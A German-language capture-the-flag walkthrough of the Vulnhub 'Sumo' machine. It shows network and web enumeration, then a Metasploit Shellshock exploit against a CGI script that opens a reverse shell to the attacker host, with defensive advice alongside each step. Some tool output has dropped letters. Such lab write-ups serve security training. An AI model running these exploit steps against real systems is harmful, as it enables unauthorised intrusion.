Sumo - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
grep
gobuster
dirb
curl
msfconsole (Metasploit)
searchsploit
python3 http.server
wget
gcc
ss
getcap

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.123	08:00:27:62:92:9e	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (Subnetz) nach aktiven Hosts zu durchsuchen. Er sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netzwerksegment und listet die Antworten auf. Jede Antwort enthält die IP-Adresse und die dazugehörige MAC-Adresse des antwortenden Geräts sowie oft eine Herstellerkennung basierend auf der MAC-Adresse.

Bewertung: Dieser Schritt ist fundamental in der Reconnaissance-Phase, um aktive Ziele im Netzwerk zu identifizieren. Die Ausgabe zeigt einen Host mit der IP-Adresse 192.168.2.123 und der MAC-Adresse 08:00:27:62:92:9e. Die MAC-Adresse deutet auf "PCS Systemtechnik GmbH" hin, was oft mit VirtualBox-Installationen assoziiert wird. Dies ist unser primäres Ziel für die weiteren Scans.

Empfehlung (Pentester): Die identifizierte IP-Adresse (192.168.2.123) sollte für detailliertere Scans (z.B. mit Nmap) verwendet werden. Es ist ratsam, auch andere Tools wie `netdiscover` zu verwenden, um die Ergebnisse zu validieren.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Erkennung können helfen, die Sichtbarkeit von Hosts im Netzwerk zu begrenzen und unautorisierte Scans zu erschweren. Die Verwendung von statischen ARP-Einträgen für kritische Systeme kann ebenfalls erwogen werden.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.135	skytower.vln
  # Eintrag für das Ziel hinzugefügt (im Editor):
  # 192.168.2.123   sumo.vln

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im `vi`-Texteditor. Diese Datei wird vom Betriebssystem genutzt, um Hostnamen manuell IP-Adressen zuzuordnen, bevor DNS-Server abgefragt werden. Im Bericht wird impliziert, dass ein Eintrag für das Zielsystem (192.168.2.123) mit einem gewählten Hostnamen (`sumo.vln`) hinzugefügt wird. Der vorherige Eintrag für `skytower.vln` bleibt bestehen.

Bewertung: Das Hinzufügen eines Eintrags zur Hosts-Datei ist eine gängige Praxis während eines Pentests. Es ermöglicht, das Zielsystem über einen leicht merkbaren Namen (`sumo.vln`) anzusprechen, was besonders bei Webanwendungen wichtig ist, die auf virtuelle Hosts reagieren könnten. Dies vereinfacht die spätere Adressierung in Tools und Browsern.

Empfehlung (Pentester): Immer wenn ein Zielsystem über einen Webserver verfügt, ist es sinnvoll, einen Eintrag in der `/etc/hosts` Datei zu erstellen. Dies stellt sicher, dass Anfragen korrekt an den eventuell konfigurierten virtuellen Host gesendet werden. Der gewählte Name sollte relevant sein (hier `sumo.vln`).
Empfehlung (Admin): Die Manipulation der Hosts-Datei ist in der Regel kein Sicherheitsproblem auf dem Angreifer-System. Auf Zielsystemen sollte der Zugriff auf die Hosts-Datei jedoch auf administrative Benutzer beschränkt sein.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.123 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-16 02:03 CEST
Nmap scan report for sumo.vln (192.168.2.123)
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 06cb9ea3aff01048c417934a2c45d948 (DSA)
|   2048 b7c5427bbaae9b9b7190e747b4a4de5a (RSA)
|_  256 fa81cd002d52660b70fcb840fadb1830 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 08:00:27:62:92:9E (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
S details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms sumo.vln (192.168.2.123)

Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan des Ziels 192.168.2.123 durch: * `-sS`: Führt einen TCP SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP Connect-Scan. * `-sC`: Führt die Standard-Nmap-Scripting-Engine (NSE) Skripte aus, um zusätzliche Informationen über die erkannten Dienste zu sammeln. * `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. * `-T5`: Setzt das Timing-Template auf "insane", was den Scan beschleunigt, aber potenziell ungenauer oder aufdringlicher sein kann. * `-A`: Aktiviert die Betriebssystemerkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-p-`: Scannt alle 65535 TCP-Ports.

Bewertung: Der Scan identifiziert zwei offene TCP-Ports: * **Port 22:** Läuft OpenSSH Version 5.9p1 (Debian-Variante). Diese Version ist relativ alt und könnte bekannte Schwachstellen aufweisen. Die Host-Schlüssel werden ebenfalls angezeigt. * **Port 80:** Läuft Apache httpd Version 2.2.22 auf Ubuntu. Auch diese Apache-Version ist veraltet und anfällig für bekannte Schwachstellen. Der Titel der Webseite fehlt, was auf eine Standardinstallation oder eine simple Seite hindeutet. Die Betriebssystemerkennung schätzt ein Linux-System mit einem Kernel zwischen 2.6.32 und 3.5. Die MAC-Adresse bestätigt die VirtualBox-Umgebung. Der Scan liefert kritische Informationen über die Angriffsfläche des Systems.

Empfehlung (Pentester): Die identifizierten Dienste (SSH und HTTP) sind die primären Angriffsvektoren. Untersuche bekannte Schwachstellen für OpenSSH 5.9p1 und Apache 2.2.22. Der Fokus sollte zunächst auf dem Webserver (Port 80) liegen, da dieser oft eine größere Angriffsfläche bietet (Webanwendungen, Konfigurationsfehler, CGI-Skripte).
Empfehlung (Admin): Aktualisieren Sie dringend OpenSSH und Apache auf aktuellere, unterstützte Versionen, um bekannte Schwachstellen zu schließen. Konfigurieren Sie SSH sicher (z.B. nur Schlüssel-Authentifizierung, kein Root-Login). Überprüfen und härten Sie die Apache-Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.123 -p- | grep open
22/tcp open  ssh     penSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))

Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe jedoch durch den `grep`-Befehl, um nur Zeilen anzuzeigen, die das Wort "open" enthalten. Dies dient dazu, eine schnelle Übersicht über die offenen Ports und die erkannten Dienste zu erhalten.

Bewertung: Die Ausgabe bestätigt prägnant die Ergebnisse des vorherigen Scans: Port 22 (SSH) und Port 80 (HTTP) sind offen. Obwohl diese Information bereits vorhanden war, ist die gefilterte Ansicht nützlich für eine schnelle Zusammenfassung oder wenn die vollständige Nmap-Ausgabe sehr umfangreich ist. Es handelt sich hierbei um eine redundante, aber explizit angeforderte Darstellung.

Empfehlung (Pentester): Die Verwendung von `grep` zur Filterung von Nmap-Ausgaben ist eine nützliche Technik, um schnell relevante Informationen zu extrahieren. Für die eigentliche Analyse sind jedoch oft die Details aus der vollständigen Ausgabe (wie NSE-Skript-Ergebnisse) erforderlich.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Filterungsbefehl. Die Empfehlungen aus dem vorherigen Nmap-Scan bleiben bestehen.

Web Enumeration

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.123
- Nikto v2.5.0
+ Target IP:          192.168.2.123
+ Target Hostname:    192.168.2.123
+ Target Port:        80
+ Start Time:         2023-07-16 02:03:17 (GMT2)
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Server may leak inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May 11 19:55:10 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /cgi-bin/test: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true.
+ /cgi-bin/test: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+ /cgi-bin/test.sh: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true.
+ /cgi-bin/test.sh: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /cgi-bin/test/test.cgi: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2023-07-16 02:03:28 (GMT2) (11 seconds)
+ 1 host(s) tested

Analyse: Der Befehl `nikto -h 192.168.2.123` startet einen Webserver-Scan gegen das Ziel auf Port 80. Nikto ist ein Scanner, der auf bekannte Web-Schwachstellen, Konfigurationsfehler, interessante Dateien und veraltete Software prüft.

Bewertung: Nikto liefert eine Fülle an wichtigen Informationen und potenziellen Schwachstellen: * **Veralteter Apache (2.2.22):** Bestätigt das Nmap-Ergebnis und unterstreicht das Risiko durch bekannte Schwachstellen. * **Fehlende Security Header:** X-Frame-Options und X-Content-Type-Options fehlen, was zu Clickjacking bzw. MIME-Sniffing führen kann. * **ETag Information Leak (CVE-2003-1418):** Kann unter Umständen Inode-Informationen preisgeben. Geringes Risiko. * **Apache mod_negotiation (MultiViews):** Ermöglicht das Auffinden von Dateien durch Brute-Force von Dateinamen ohne Endung (z.B. `index` findet `index.html`). * **Shellshock Vulnerability (CVE-2014-6271/CVE-2014-6278):** *Dies ist der kritischste Fund.* Nikto identifiziert die Skripte `/cgi-bin/test` und `/cgi-bin/test.sh` als anfällig für die Bash-Shellshock-Schwachstelle. Diese erlaubt die Ausführung von beliebigem Code auf dem Server. Die unüblichen Header (`93e4r0-cve-...`) sind wahrscheinlich Indikatoren, die von Nikto spezifisch zur Erkennung dieser Schwachstelle genutzt werden. * **Interessante Dateien/Pfade:** `/cgi-bin/test/test.cgi`, `/icons/README` (Standarddatei), `/#wp-config.php#` (potenziell sensitive Backup-Datei, obwohl unwahrscheinlich bei Apache). * **Erlaubte HTTP Methoden:** GET, HEAD, POST, OPTIONS.

Empfehlung (Pentester): Die Shellshock-Schwachstelle in `/cgi-bin/test.sh` (oder `/cgi-bin/test`) ist der vielversprechendste Angriffsvektor für den Initial Access. Konzentriere dich darauf, diese Schwachstelle auszunutzen (z.B. mit Metasploit oder manuellen Payloads). Untersuche auch die anderen gefundenen Punkte, aber priorisiere Shellshock.
Empfehlung (Admin): Patchen Sie *sofort* die Bash-Shell, um die Shellshock-Schwachstelle zu beheben (obwohl das System generell veraltet ist). Aktualisieren Sie Apache. Implementieren Sie fehlende Security Header (X-Frame-Options, X-Content-Type-Options). Deaktivieren Sie `mod_negotiation` (MultiViews), wenn nicht zwingend benötigt. Entfernen Sie unnötige CGI-Skripte und Standarddateien wie `/icons/README`.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://sumo.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://sumo.vln/index                (Status: 200) [Size: 177]
http://sumo.vln/index.html           (Status: 200) [Size: 177]

Analyse: Dieser `gobuster`-Befehl führt ein Verzeichnis- und Datei-Brute-Forcing gegen die Webseite `http://sumo.vln` durch. * `-u`: Gibt die Ziel-URL an. * `-x`: Definiert eine lange Liste von Dateiendungen, nach denen zusätzlich zu den Verzeichnissen gesucht werden soll. * `-w`: Gibt die Wortliste an (`directory-list-2.3-medium.txt` aus SecLists), die für Verzeichnis-/Dateinamen verwendet wird. * `-b '403,404'`: Blendet Ergebnisse mit den HTTP-Statuscodes 403 (Forbidden) und 404 (Not Found) aus. * `-e`: Aktiviert den erweiterten Modus, um die vollständige URL für gefundene Verzeichnisse anzuzeigen. * `--no-error`: Unterdrückt Fehlermeldungen im Output.

Bewertung: Gobuster findet nur `/index` und `/index.html`, die beide denselben Inhalt (Größe 177 Bytes) zurückgeben. Dies bestätigt die Nikto-Erkenntnis bezüglich `mod_negotiation`. Abgesehen von der Standard-Indexseite werden keine weiteren versteckten Verzeichnisse oder Dateien mit dieser Wortliste und den angegebenen Endungen gefunden. Dies legt nahe, dass die Hauptangriffsfläche wahrscheinlich nicht in versteckten Dateien liegt, sondern eher in den bereits identifizierten CGI-Skripten.

Empfehlung (Pentester): Obwohl dieser Scan keine neuen kritischen Pfade aufgedeckt hat, ist Directory Brute-Forcing ein wichtiger Schritt. Versuche eventuell andere Wortlisten (größere, spezifischere) oder Tools (z.B. `feroxbuster`, `ffuf`). Da Shellshock bereits identifiziert wurde, kann die Priorität jedoch darauf gelegt werden.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass Verzeichnislistung deaktiviert ist (ist hier wahrscheinlich der Fall, da keine Verzeichnisse außer der Root gefunden wurden). Verwenden Sie keine leicht zu erratenden Verzeichnis- oder Dateinamen. Implementieren Sie Rate Limiting oder Web Application Firewalls (WAFs), um Brute-Force-Scans zu erkennen und zu blockieren.

┌──(root㉿cycat)-[~] └─# # Manuelle Überprüfung des Inhalts von /index.html (basierend auf Gobuster-Größe)
# Inhalt von http://sumo.vln/index.html (manuell abgerufen oder aus Browser)
It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

Analyse: Dieser Block repräsentiert die manuelle Überprüfung des Inhalts der gefundenen `index.html`-Datei. Da Gobuster die Größe (177 Bytes) angezeigt hat, wird hier der tatsächliche Inhalt dargestellt, der typischerweise durch Aufruf der URL im Browser oder mit `curl` ermittelt wird.

Bewertung: Der Inhalt ist die Apache-Standardseite für Ubuntu ("It works!"). Dies bestätigt, dass keine benutzerdefinierte Anwendung direkt im Web-Root bereitgestellt wird und verstärkt die Vermutung, dass interessante Funktionalitäten (wie die CGI-Skripte) in spezifischen Unterverzeichnissen liegen.

Empfehlung (Pentester): Die Standardseite selbst bietet keine Angriffsvektoren. Konzentriere dich auf die zuvor identifizierten Schwachstellen und Pfade (insbesondere `/cgi-bin/`).
Empfehlung (Admin): Ersetzen Sie die Standard-Webseite durch eine benutzerdefinierte Seite oder leiten Sie Anfragen an die eigentliche Anwendung weiter. Das Belassen von Standardseiten kann Angreifern unnötige Informationen über die verwendete Software geben.

┌──(root㉿cycat)-[~] └─# dirb http://sumo.vln -X .php,.txt
END_TIME: Sun Jul 16 02:05:34 2023
DOWNLOADED: 9224 - FOUND: 0

Analyse: Der Befehl `dirb http://sumo.vln -X .php,.txt` startet einen weiteren Directory/File-Scanner, `dirb`. Er verwendet eine Standard-Wortliste und sucht explizit nach Dateien mit den Endungen `.php` und `.txt` (`-X`).

Bewertung: Dirb findet keine zusätzlichen Verzeichnisse oder Dateien mit den angegebenen Endungen. Das Ergebnis `FOUND: 0` bestätigt, dass dieser spezifische Scan keine neuen Erkenntnisse gebracht hat. Dies kann an der verwendeten Standard-Wortliste oder daran liegen, dass einfach keine entsprechenden Dateien existieren.

Empfehlung (Pentester): Es ist gut, mehrere Tools für Directory Brute-Forcing zu verwenden, da sie unterschiedliche Wortlisten und Techniken nutzen können. Da aber weder `gobuster` noch `dirb` signifikante Ergebnisse lieferten (außer der Index-Seite), sollte der Fokus weiterhin auf den bekannten CGI-Skripten liegen.
Empfehlung (Admin): Siehe Empfehlungen zu `gobuster` bezüglich Verzeichnislistung, Rate Limiting und WAFs.

┌──(root㉿cycat)-[~] └─# curl http://192.168.2.123/cgi-bin/test.sh
CGI Default !

Analyse: Der Befehl `curl http://192.168.2.123/cgi-bin/test.sh` sendet eine einfache HTTP-GET-Anfrage an das von Nikto als potenziell anfällig identifizierte CGI-Skript `/cgi-bin/test.sh`. `curl` gibt die Antwort des Servers direkt auf der Konsole aus.

Bewertung: Die Ausgabe "CGI Default !" bestätigt, dass das Skript existiert und ausgeführt wird, wenn es über HTTP aufgerufen wird. Dies ist ein weiterer wichtiger Schritt zur Validierung der Shellshock-Anfälligkeit. Da das Skript ohne Fehler ausgeführt wird, ist es ein geeignetes Ziel für den Exploit.

Empfehlung (Pentester): Nachdem bestätigt wurde, dass das Skript erreichbar ist und ausgeführt wird, ist der nächste logische Schritt, die Shellshock-Schwachstelle mit einem Tool wie Metasploit oder einem manuellen Payload über `curl` auszunutzen.
Empfehlung (Admin): Entfernen Sie dieses Test-Skript oder stellen Sie sicher, dass die zugrunde liegende Bash-Version gepatcht ist. Generell sollten nicht benötigte CGI-Skripte vom Webserver entfernt werden.

Initial Access

┌──(root㉿cycat)-[~] └─# msfconsole
[... Metasploit Banner ...]

       =[ metasploit v6.3.21-dev                          ]
+ -- --=[ 2327 exploits - 1215 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Adapter names can be used for IP params
set LHST eth0
Metasploit Documentation: https://docs.metasploit.com/

Analyse: Der Befehl `msfconsole` startet das Metasploit Framework, eine leistungsstarke Plattform für die Entwicklung, das Testen und die Ausführung von Exploits. Das angezeigte Banner zeigt die Version und die Anzahl der geladenen Module (Exploits, Payloads etc.).

Bewertung: Metasploit ist das Mittel der Wahl, um die zuvor identifizierte Shellshock-Schwachstelle auszunutzen, da es ein dediziertes Modul dafür bereitstellt. Das Starten der Konsole ist der erste Schritt zur Vorbereitung des Angriffs.

Empfehlung (Pentester): Halten Sie Metasploit regelmäßig mit `msfupdate` aktuell, um Zugriff auf die neuesten Exploits und Module zu haben. Machen Sie sich mit den grundlegenden Befehlen (`use`, `show options`, `set`, `run`, `exploit`) vertraut.
Empfehlung (Admin): Intrusion Detection/Prevention Systeme (IDS/IPS) können Signaturen für Metasploit-Aktivitäten erkennen. Netzwerk-Monitoring und Log-Analyse sind wichtig, um Angriffsversuche zu identifizieren.

msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

Analyse: Der Befehl `use exploit/multi/http/apache_mod_cgi_bash_env_exec` wählt das Metasploit-Modul aus, das speziell für die Ausnutzung der Shellshock-Schwachstelle (CVE-2014-6271 und CVE-2014-6278) über CGI-Skripte auf Apache-Servern entwickelt wurde. Metasploit wählt automatisch einen Standard-Payload aus, hier `linux/x86/meterpreter/reverse_tcp`.

Bewertung: Die Auswahl des korrekten Exploit-Moduls ist entscheidend. Dieses Modul passt perfekt zu der von Nikto identifizierten Schwachstelle und dem Zielsystem (Apache, CGI-Skript). Der standardmäßig gewählte Meterpreter-Payload ist mächtig, aber wir werden ihn später anpassen.

Empfehlung (Pentester): Verwenden Sie `search shellshock` oder `search cve:2014-6271` in Metasploit, um relevante Module zu finden. Lesen Sie die Modulbeschreibung mit `info`, um die Funktionsweise und Anforderungen zu verstehen.
Empfehlung (Admin): Stellen Sie sicher, dass die Bash-Shell auf allen Systemen gepatcht ist. IDS/IPS-Signaturen für Shellshock-Angriffsversuche sollten aktiviert sein.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CMD_MAX_LENGTH  2048             yes       CMD max line length
   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent       yes       HTTP header to use
   METHOD          GET              yes       HTTP method to use
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                        yes       Path to CGI script
   TIMEOUT         5                yes       HTTP read response timeout (seconds)
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host

   When CMDSTAGERFLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.114    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux x86

View the full module info with the info, or info -d command.

Analyse: Der Befehl `options` (oder `show options`) listet alle konfigurierbaren Parameter für das ausgewählte Exploit-Modul (`apache_mod_cgi_bash_env_exec`) und den aktuell gewählten Payload (`linux/x86/meterpreter/reverse_tcp`) auf. Er zeigt den Namen, die aktuelle Einstellung, ob der Parameter erforderlich ist (`Required`) und eine Beschreibung an.

Bewertung: Diese Ausgabe ist essenziell, um zu sehen, welche Informationen für den Exploit benötigt werden. Wir sehen, dass `RHOSTS` (Ziel-IP) und `TARGETURI` (Pfad zum CGI-Skript) noch nicht gesetzt sind und erforderlich (`yes`). Für den Payload sind `LHOST` (IP-Adresse des Angreifers für die Rückverbindung) und `LPORT` (Port des Angreifers für die Rückverbindung) erforderlich. Metasploit hat `LHOST` oft schon korrekt erraten (hier 192.168.2.114), aber es ist immer gut, dies zu überprüfen.

Empfehlung (Pentester): Überprüfen Sie immer die Optionen, bevor Sie einen Exploit ausführen. Stellen Sie sicher, dass alle erforderlichen Parameter korrekt gesetzt sind, insbesondere `RHOSTS`, `RPORT`, `TARGETURI`, `LHOST` und `LPORT`. Passen Sie die Optionen bei Bedarf mit dem `set`-Befehl an.
Empfehlung (Admin): Diese Optionen zeigen, welche Informationen ein Angreifer benötigt, um einen Exploit erfolgreich zu konfigurieren. Das Verständnis dieser Parameter hilft bei der Entwicklung von Verteidigungsstrategien (z.B. Firewall-Regeln, die Verbindungen zu ungewöhnlichen Ports blockieren).

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 192.168.2.123
rhost => 192.168.2.123
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rport 80
rport => 80
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/test.sh
targeturi => /cgi-bin/test.sh

Analyse: Mit diesen `set`-Befehlen werden die erforderlichen Optionen für das Exploit-Modul konfiguriert: * `set rhost 192.168.2.123`: Setzt die IP-Adresse des Ziels. * `set rport 80`: Setzt den Zielport (obwohl 80 der Standard war, wird er hier explizit gesetzt). * `set targeturi /cgi-bin/test.sh`: Setzt den Pfad zum anfälligen CGI-Skript, das zuvor mit Nikto und curl identifiziert wurde.

Bewertung: Die Konfiguration des Exploits mit den korrekten Zielinformationen ist abgeschlossen. Das Modul weiß nun, welches System es auf welchem Port und über welches Skript angreifen soll.

Empfehlung (Pentester): Verwenden Sie `show options` erneut, um die gesetzten Werte zu überprüfen. Stellen Sie sicher, dass keine Tippfehler vorhanden sind.
Empfehlung (Admin): Überwachen Sie Webserver-Logs auf Anfragen an bekannte anfällige Pfade wie `/cgi-bin/`. Ungewöhnliche Muster oder Anfragen an solche Endpunkte können auf einen Angriffsversuch hindeuten.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show payloads
Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
[...]
   33  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
[...]

Analyse: Der Befehl `show payloads` listet alle Payloads auf, die mit dem aktuell ausgewählten Exploit-Modul (`exploit/multi/http/apache_mod_cgi_bash_env_exec`) kompatibel sind. Payloads definieren, was nach erfolgreicher Ausnutzung der Schwachstelle auf dem Zielsystem geschehen soll (z.B. eine Shell öffnen, einen Meterpreter starten).

Bewertung: Die Liste zeigt verschiedene Optionen. Der Pentester entscheidet sich im nächsten Schritt für `linux/x86/shell/reverse_tcp`. Dies ist eine einfachere Alternative zum standardmäßig gewählten Meterpreter und öffnet eine direkte Kommandozeilen-Shell auf dem Zielsystem, die sich zurück zum Angreifer verbindet. Dies kann manchmal stabiler sein oder bevorzugt werden, wenn keine erweiterten Meterpreter-Funktionen benötigt werden.

Empfehlung (Pentester): Wählen Sie den Payload basierend auf dem Zielsystem und den gewünschten Aktionen aus. Meterpreter bietet mehr Funktionalität, während eine einfache Shell (`shell_reverse_tcp`) weniger komplex ist. Berücksichtigen Sie auch die Architektur (x86 vs. x64).
Empfehlung (Admin): Firewall-Regeln sollten ausgehende Verbindungen vom Server nur zu bekannten und notwendigen Zielen erlauben. Das Blockieren unbekannter ausgehender Verbindungen kann Reverse-Shell-Payloads verhindern oder erschweren.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
[... unveränderte Exploit-Optionen ...]

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.114    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
[... unverändert ...]
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHST 192.168.2.114
LHST => 192.168.2.114
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LPRT 4444
LPORT => 4444

Analyse: Zuerst wird mit `set payload linux/x86/shell/reverse_tcp` der gewünschte Payload ausgewählt. Anschließend werden mit `options` die nun relevanten Payload-Optionen angezeigt. Schließlich werden `LHOST` (die IP des Angreifers) und `LPORT` (der Port, auf dem der Angreifer auf die eingehende Shell wartet) explizit auf `192.168.2.114` bzw. `4444` gesetzt (auch wenn sie möglicherweise schon korrekt waren).

Bewertung: Der Wechsel zu einer einfachen Reverse Shell und die explizite Konfiguration der Listener-Parameter (`LHOST`, `LPORT`) sind abgeschlossen. Alle notwendigen Einstellungen für den Exploit und den Payload sind nun vorgenommen.

Empfehlung (Pentester): Stellen Sie sicher, dass die angegebene `LHOST`-IP von Zielsystem aus erreichbar ist (keine Firewall dazwischen, die die Verbindung blockiert). Wählen Sie einen `LPORT`, der auf dem Angreifer-System verfügbar ist und idealerweise nicht von lokalen Diensten oder Firewalls blockiert wird.
Empfehlung (Admin): Egress-Filterung (Kontrolle ausgehenden Netzwerkverkehrs) ist entscheidend. Blockieren Sie ausgehende Verbindungen zu nicht autorisierten IP-Adressen und Ports. Überwachen Sie Netzwerkverkehr auf ungewöhnliche Verbindungen, die auf eine Reverse Shell hindeuten könnten.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > check
[+] 192.168.2.123:80 - The target is vulnerable.

Analyse: Der `check`-Befehl versucht, die Schwachstelle auf dem Zielsystem zu überprüfen, ohne den eigentlichen Payload auszuführen. Viele Metasploit-Module implementieren eine solche Check-Funktion.

Bewertung: Die Ausgabe `[+] 192.168.2.123:80 - The target is vulnerable.` bestätigt, dass das Modul die Shellshock-Schwachstelle auf dem Ziel erfolgreich erkannt hat. Dies gibt eine hohe Sicherheit, dass der anschließende `run`-Befehl erfolgreich sein wird.

Empfehlung (Pentester): Führen Sie nach Möglichkeit immer `check` aus, bevor Sie `run` oder `exploit` verwenden. Dies kann unnötige Fehlversuche oder das Auslösen von Alarmen verhindern, falls das Ziel doch nicht anfällig ist.
Empfehlung (Admin): Auch fehlgeschlagene Check-Versuche können in Logs auftauchen und sollten untersucht werden. Die Erkennungsmuster von IDS/IPS sollten auch die von `check`-Funktionen verwendeten Techniken abdecken.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 192.168.2.114:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.2.123
[*] Command shell session 1 opened (192.168.2.114:4444 -> 192.168.2.123:56800) at 2023-07-16 02:13:20 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

